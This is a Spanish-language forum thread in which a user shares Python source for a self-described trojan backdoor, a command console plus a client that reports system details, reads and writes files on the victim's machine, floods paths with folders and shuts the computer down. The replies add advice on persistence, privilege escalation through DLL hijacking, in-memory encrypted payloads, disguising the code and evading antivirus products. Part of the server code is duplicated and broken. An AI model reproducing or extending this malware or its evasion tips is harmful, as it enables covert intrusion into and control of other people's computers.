Codigo de troyano en python 3.8

Iniciado por mby, 27 Julio 2020, 16:05 PM

0 Miembros y 1 Visitante están viendo este tema.

mby

Buenas a todos:

Aquí les dejo el código de mi primera backdoor, cualquier idea o error me la comentáis (la iré actualizando según añada cosas al código).
Servidor
Código (python) [Seleccionar]

#importamos las librerias
import socket #libreria para crear la conexion cliente/servidor
from colorama import Fore, Back, Style #libreria para decorar textos y banners
import colorama
import os #libreria de multiples usos
from time import sleep #libreria para crear pausas en segundos
import random #libreria para generar numeros aleatorios

#ajustar el tamaño terminal
if os.name == "posix": #comprobamos si el ordenador es de linux o windows
    os.system('printf "\033[8;10;42t"') #ajustamos la terminal en linux
elif os.name == "ce" or os.name == "nt" or os.name == "dos":
    os.system('mode con: cols=124 lines=40') #ajustamos la terminal en MacOs y windows

#funciones generales
def menuDeAyuda(): #imprime un menu de ayuda con todos los comandos disponibles
    borrarPantalla() #Usa la funcion limpiar pantalla para limpiar la terminal
    print(Fore.BLUE + "Esta es un lista de comandos disponibles") #Fore es usado para cambiar el color de las letras
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Info - Muestra informacion del sistema infectado                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Dir - Muestra los archivos en el directorio actual                                   " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Close - Cierra la conexion                                                           " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Cls - Limpia la consola                                                              " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Cd - Cambia el directorio actual                                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Help - Muestra este menu de ayuda                                                    " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Pwd - Muestra el directorio actual                                                   " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Shutdown - Apaga la computadora (solo windows)                                       " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Download - Lleva archivos comprimidos de tu ordenador  al \nordenador de la victima  " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Banner - Genera un banner aleatorio                                                  " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Col - Colapsa la ruta seleccionada con las carpetas indicadas                        " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Touch - Crea un archivo de texto en la ruta seleccionada                             " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Read - Sirve para leer documentos                                                    " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Compress - Comprime archivos en el ordenador de la victima                           " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Uncompress - Descomprime archivos en el ordenador de la victima                      " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Usr - Muestra el nombre de usuario de el ordenador infectado                         " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Mkdir - Crea una carpeta en la ruta espedificada                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Move - Mueve archivos a la ruta seleccionada                                         " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")



def borrarPantalla(): #Limpia la terminal
    if os.name == "posix": #Si es linux limpia la pantalla en linux
        os.system ("clear")
    elif os.name == "ce" or os.name == "nt" or os.name == "dos": #Si es windows o mac os la limpia para esos sistemas
        os.system ("cls")

#Los banners son dibujitos que aparecen al ejecutar el script y al usar el comando banner
def banner1():
    print(Fore.BLACK + "\n\n" +
Back.BLACK + "     " + "                                                                                           \n" +
Back.BLACK + "     " + "                                                                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                  \n" +
Back.BLACK + "     " + "                                                                                           \n" +
Fore.BLUE + Back.BLACK + "\n" + "                          MY TROJAN")


def banner2():
    print(Fore.BLUE + "\n \n"
                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "ooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooo" + Fore.BLUE + "$$$$$$$$$$$$$$$$$$$$$$" + Fore.GREEN + "oooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +                                               
                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "                                                                   \n"
                      "                          MY TROJAN                                  ")


def banner3():
    print(Fore.YELLOW + "\n\n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               0000000                          000000  0000000000000                                     \n"
                        "    ****000000000000000000000000000000                          000000000000000000  000                                   \n"
                        " *****00000000000000000000000000000000                          000000000000         |                                    \n"
                        "    ****000000000000000000000000000000                          00000000000000000000000                                   \n" + Fore.BLUE)

def banner4():
    print(Fore.WHITE + "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "       $                                     $                                                    \n"
                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "     $   $                                                                                        \n"
                       "    $   $                                                                                         \n"
                       "   $   $                                                                                          \n"
                       "  $   $                                                      $$$$                 $$$$            \n"
                       " $   $                                                       $$$$                 $$$$            \n"
                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
                       " $   $                                                       $$$$                 $$$$            \n"
                       "  $   $                                                      $$$$                 $$$$            \n"
                       "   $   $                                                                                          \n"
                       "    $   $                                                                                         \n"
                       "     $   $                                                                                        \n"
                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "       $                                     $                                                    \n"
                       "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n" + Fore.BLUE)


def defineBanner(): #Esta funcion define un banner aleatorio
    num = random.randint(1, 4) #Genera un numero aleatorio entre 1 y 4

    if(num == 1): #Dependiendo de que numero sea usa un banner diferente
        banner1()
    if(num == 2):
        banner2()
    if(num == 3):
        banner3()
    if(num == 4):
        banner4()

#Iniciar colorama
colorama.init() #Inicia colorama para poder colorear

#Poner socket en linea
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Define socket
s.bind(('127.0.0.1', 1234)) #Lo pone en modo servidor
#poner socket a la escucha
s.listen()

#decoracion
borrarPantalla() #Borra la pantalla para evitar problemas
defineBanner() #Llama a la funcion defineBanner para dibujar un banner aleatorio
print(Fore.BLUE + "Esperando una conexion...") #Muestra que esta esperando una conexion para aclarar dudas

#variables generales
guid = "" #Es la variable donde se introducira el comando a usar
cmdList = ["Help", "Close", "Cls", "Cd", "Info", "Dir", "Pwd", "Shutdown", "Download", "Banner", "Col", "Touch", "Read", "Uncompress", "Compress", "Usr", "Mkdir", "Move"] #Es una lista de todos los comandos que use para evitar errores

#aceptar nueva conexion
clientsocket, address = s.accept() #Si el cliente solicita unirse acepta la conexion

#mostrar informacion basica de la nueva conexion
marca = clientsocket.recv(1024) #Recive una informacion enviada desde el cliente y la almacena en la variable marca
marca.decode("utf-8") #Descodifica e mensaje (siempre hay que codificar para enviar y lo contrario al recivir)
print(Fore.BLUE + f"New connection from a {marca}/{address}") #Imprime el sistema operativo y la direccion ip del sistema infectado

while True: #Empieza a recibir ordenes para enviar
            #Me quedan hacer muchas cosas aqui entre ellas
            #Pedir una respuesta de confirmacion en cada comando
            #(Solo lo tengo en algunos)

    guid = input() #Pide que ingreses un comando

    try: #Intenta ejecutar el siguiente codigo
        if(guid != ""): #Comprueba que el comando introducido sea diferente a nada
            if(guid == "Banner"): #Si es igual a Banner usa la funcion defindeBanner para imprimir un banner
                defineBanner()
            if(guid == "Help"): #Si es igual a Help imprime el menu de ayuda
                menuDeAyuda()
            if(guid == "Close"): #Si es igual a Close cierra la conexion
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente para cerrar la conexion desde hay tambien
                print(Fore.YELLOW + "La conexion se a roto" + Fore.RED)
                sleep(1) #Espera un segundo
                print("Ya no podra ejecutar mas comandos en la victima..." + Fore.BLUE)
                os.system("pause") #Crea una pausa
                break #Cierra el bucle para que se cierre el programa
            if(guid == "Cls"): #Si el comando es igual a Cls limpia la consola con la funcion borrarPantalla
                borrarPantalla()
            if(guid == "Cd"): #Si el comando es igual a Cd
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente
                direc = input("Cual es la ruta a la que moverse...") #Pide que escriba la ruta a la que se quiere mover
                clientsocket.send(bytes(direc, "utf-8")) #La manda al cliente
            if(guid == "Info" or guid == "Dir" or guid == "Pwd" or guid == "Usr"): #Estos tres comandos son muy similares ya que solo muestran informacion de la victima
                clientsocket.send(bytes(guid, "utf-8"))
                respuesta = clientsocket.recv(10024)
                print(Fore.BLUE + "-------------------------------------------")
                print(respuesta.decode("utf-8"))
                print(Fore.BLUE + "-------------------------------------------")
            if(guid == "Shutdown"): #Si el comando es igual a Shutdown
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando a la victima para que reciva la orden
                print("La conexion se perdera al apagar el ordenador(solo funciona en windows)")
                break #Rompe el bucle para que acabe el programa
            if(guid == "Download"): #Si el comando es igual a Download(este me costo montarlo asi que si no entiendes no te procupes)
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                fileName = input("Nombre y extension del nuevo archivo...") #Pide el nombre y la extension del nuevo archivo
                clientsocket.send(bytes(fileName, "utf-8")) #Envia los datos anteriores
                file = input("Archivo que quiere descargar en la conexion...") #Pide la ruta de un archivo .zip o .rar en tu ordenador para pasarlo al de la victima
                f = open(file, 'rb') #Abre ese archivo con permisos de lectura para leer el binario(todos los archivos estan formados por binario)
                fileData = f.read(99999999) #Lee el binario obtenido
                clientsocket.send(fileData) #Lo envia(no hace falta codificarlo porque ya esta codificado)
                print("Archivo enviado...")
                respuestaDeComprobacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeComprobacion.decode("utf-8")) #Y la muestra por pantalla
            if(guid == "Col"):#Si el comando es igual a Col
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                numC = input("Cuantas carpetas quiere crear...") #Pregunta al usuario cuantas carpetas quiere crear
                clientsocket.send(bytes(numC, "utf-8")) #Lo manda al cliente
                colPath = input("Cual es la ruta que desea colapsar...") #Pregunta cual es la ruta a colapsar
                clientsocket.send(bytes(numC, "utf-8")) #La envia
                print(Fore.YELLOW + "Colapsando..." + Fore.BLUE)
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recoge la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Touch"): #Si es igual a Touch
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                titulo = input("Titulo del documento...") #Pregunta por el titulo del documento(extension incluida)
                clientsocket.send(bytes(titulo, "utf-8")) #La envia al cliente
                filePath = input("Ruta donde el documento se creara...") #Pide que ingrese la ruta donde se creara el documento
                clientsocket.send(bytes(filePath, "utf-8")) #La envia al cliente
                content = input("Contenido del documento...") #Pregunta por el contenido del documento
                clientsocket.send(bytes(content, "utf-8")) #Lo envia al cliente
                print("Esperando respuesta")
                respuestaDeConfrimacion = clientsocket.recv(1024) #Recive la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime en la consola
            if(guid == "Read"): #Si la orden es igual a Read
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                fileRead = input("Ruta del archivo que desea leer(procure que el archivo no sea muy extenso)...") #Pregunta sobre la ruta del documento
                clientsocket.send(bytes(fileRead, "utf-8")) #La manda al cliente
                cont = clientsocket.recv(999999) #Recibe la respuesta del cliente(o el contenido o un error)
                print("----------------------------------------------------")
                print(cont.decode("utf-8")) #La imprime
                print("----------------------------------------------------")
            if(guid == "Uncompress"): #Si el comando es igual a Uncompress(otro complicado)
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                uncompressPath = input("Introduzca la ruta del archivo a descomprimir...") #Pide la ruta del archivo a descomprimir
                clientsocket.send(bytes(uncompressPath, "utf-8")) #La envia
                finalPath = input("Introduzca la ruta en la que desea decomprimir el archivo(sin el archivo)...") #Pide la ruta en la que se quiere descomprimir
                clientsocket.send(bytes(finalPath, "utf-8")) #La envia
                print("Esperando respuesta....")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Compress"): #Si es igual a Compress
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden
                nombreDelArchivo = input("Nombre del archivo...") #Pregunta el nuevo nombre(extension .rar .zip o similares)
                clientsocket.send(bytes(nombreDelArchivo, "utf-8")) #La envia
                rutaDelArchivo = input("Ruta del archivo a comprimir...") #Pregunta la ruta del archivo a comprimir
                clientsocket.send(bytes(rutaDelArchivo, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recive respuesta del cliente
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Mkdir"): #Si la orden es Mkdir
                clientsocket.send(bytes(guid, "utf-8")) # Envia la orden
                path = input("Ingrese la ruta...") #Pide la ruta de la nueva carpeta
                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Move"): #Si la orden es igual a Move
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
                clientsocket.send(bytes(movePath, "utf-8")) #La envia
                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto


    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Move"): #Si la orden es igual a Move
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
                clientsocket.send(bytes(movePath, "utf-8")) #La envia
                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto


    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa

Cliente
Código (python) [Seleccionar]

import socket
import subprocess
import platform
import os
import getpass
import time
import zipfile
import patoolib
from shutil import move

var = False
espera = 1
while var == False:
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect(('127.0.0.1', 1234))
        var = True
    except:
        print("furrula")
        time.sleep(60)


client.send(bytes(f"{platform.system()}", "utf-8"))
while True:

    sysInfo = f"""
    Operating System: {platform.system()}
    Computer Name: {platform.node()}
    Username: {getpass.getuser()}
    Release Version: {platform.release()}
    Processor Architecture: {platform.processor()}
                """
    msg = client.recv(100)
    msg.decode("utf-8")
    print(msg)

    if(msg == b'Info'):
        client.send(bytes(sysInfo, "utf-8"))

    if(msg == b'Dir'):
        client.send(bytes(str(os.listdir(".")), "utf-8"))

    if(msg == b'Cd'):
        direc = client.recv(100)
        direc.decode("utf-8")
        os.chdir(direc)

    if(msg == b'Pwd'):
        ruta = f'{os.getcwd()}'
        print(ruta)
        client.send(bytes(ruta, "utf-8"))

    if(msg == b'Shutdown'):
        os.system('shutdown -s -t 1')

    if (msg == b'Close'):
        break

    if(msg == b'Col'):
        numC = client.recv(1024)
        colPath = client.recv(1024)
        for i in range(0, int(numC)):
            rutaColapsada = colPath.decode("utf-8") + "\\" + str(i)
            if os.path.exists(rutaColapsada):
                rutaColapsada = rutaColapsada + str(arregloParaRutas)
                os.mkdir(rutaColapsada)
            else:
                os.mkdir(rutaColapsada)
        client.send(bytes("Proceso terminado", "utf-8"))

    if(msg == b'Touch'):
        try:
            titulo = client.recv(1024)
            print(titulo)
            filePath = client.recv(1024)
            print(filePath)
            contenido = client.recv(100024)
            print(contenido)
            file = open(filePath.decode("utf-8") + "\\" + titulo.decode("utf-8"), "w")
            print("Creado")
            file.write(contenido.decode("utf-8"))
            file.close()
            cliente.send(bytes("Creado correctamente", "utf-8"))
        except:
            client.send(bytes("A ocuriido un error", "utf-8"))
    if(msg == b'Download'):
        try:
            fileName = client.recv(100)
            f = open(fileName, 'wb')
            print(fileName)
            fileData = client.recv(99999999)
            print(fileData)
            time.sleep(2)
            f.write(fileData)
            f.close()
            client.send(bytes("Creado correctamente", "utf-8"))

        except:
            client.send(bytes("Ha ocurrido un error, probablemente no tengas los permisos suficientes", "utf-8"))

    if(msg == b'Read'):
        pathFile = client.recv(1024)
        pathFile.decode("utf-8")
        f = open(pathFile, 'rb')
        fileData = f.read(99999)
        client.send(fileData)

    if(msg == b'Uncompress'):
        try:
            uncompressPath = client.recv(1024)
            uncompressDestiny = client.recv(1024)
            patoolib.extract_archive(uncompressPath.decode("utf-8"), outdir=uncompressDestiny.decode("utf-8"))
            client.send(bytes("Descomprimido correctamente", "utf-8"))
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))


    if(msg == b'Usr'):
        client.send(bytes(getpass.getuser(), "utf-8"))

    if(msg == b'Compress'):
        try:
            name = client.recv(1024)
            namePath = client.recv(1024)

            jungle_zip = zipfile.ZipFile(name.decode("utf-8"), 'w')
            jungle_zip.write(namePath.decode("utf-8"), compress_type=zipfile.ZIP_DEFLATED)

            jungle_zip.close()
            client.send(bytes("Comprimido correctamente", "utf-8"))

        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    if(msg == b'Mkdir'):
        try:
            path = client.recv(1024)
            os.mkdir(path.decode("utf-8"))
            client.send(bytes("Creada correctamente", "utf-8"))
            print("enviado")
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    if(msg == b'Move'):
        try:
            movePath = client.recv(1024)
            moveDestiny = client.recv(1024)
            move(movePath.decode("utf-8"), moveDestiny.decode("utf-8"))
            client.send(bytes("Transportado correctamente", "utf-8"))
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    time.sleep(espera)










Postdata: Algunas librerías hay que instalarlas con pip ;) ;)

MOD: Codigo GeShi de Python agregado

BlowFlow04

Me puedes explicar como funciona estos dos codigos? Estoy empezando... Un resumen jeje.

mby

Cita de: BlowFlow04 en 27 Julio 2020, 16:22 PM
Me puedes explicar como funciona estos dos codigos? Estoy empezando... Un resumen jeje.
El server se pone en linea y espera la conexión del cliente, cuando el cliente se conecta te permite ejecutar algunos comandos (escribe Help para verlos).

el etrno

lo ley al vuelo y no estoy muy bien de la vista (el estar usando un celular no ayuda)digo esto por si no estoy viendo algo solo házmelo saber.
hasta donde entendí el primer código crea un servidor y el segundo es con lo que infectas noto dos problemas mayores 1: no veo nigun mecanismo para que el virus inicie (no es persistente) 2: estoy seguro de que va a ser detectado por el antivirus, ahora las soluciones (te dejo el código a ti 1 porque sera buena experiencia aprender a hacerlo 2 tengo mis propios problemas) para el problema 1 necesitas escalar privilegios se que se podía con powershell pero estoy seguro de que en windows 10 ya areglaron eso la forma mas simple que se me ocurre es que infectes un .dll que ocupe un poseso con permisos de sistema (widows carga bastantes .dll que no están protegidos) existen muchos proceso con privilegios que cargan .dll compartidos que puedes modificar esto me lleva al punto 2 encrita el código (ya compilado y en formato .exe) el ejecutable final debe infectar un poseso ya existente con el código descifrado de esta manera no queda nunca tu código en el disco duro todo esta en la memoria ram y lo del disco es ilegible al estar cifrado. como un extra deberias hacer algo para que sea imposible rastrear tu servidor espero haberte ayudado

mby

Muchas gracias por la idea pronto subiré un código persistente e intentare hacer lo de escalar privilegios. Respecto a los antivirus muy pocos me lo detectaban probé con 10 antivirus y solo uno me lo detectaba. Agradezco esta crítica constructiva ;-) ;-).

OzX

Te recomendaria lo siguiente:

- Olvídate de todos los colores y banners. Mientras menos código y menos librerías utilices mejor.
- No ocupes librerías que necesites instalar. Mientras todo sea mas nativo en python mejor.
- Intenta no ocupar try except sin definir que except estas capturando.
- Intenta que se vea un código menos sospechoso. Busca algún python de alguna librería estilo django e intenta que se vea mas similar de esta manera no salta tanto la alerta al ojo.
- Ve la forma de ocupar SSL o algún túnel SSL.
- Repites mucho código , podrías transformarlo a funciones.

Limitas mucho el contenido que vas a recibir con las variables de
contenido = client.recv(100024)

Que pasa si es mayor a ese contenido ? lo vas a recibir por parte.

El resto, buena idea!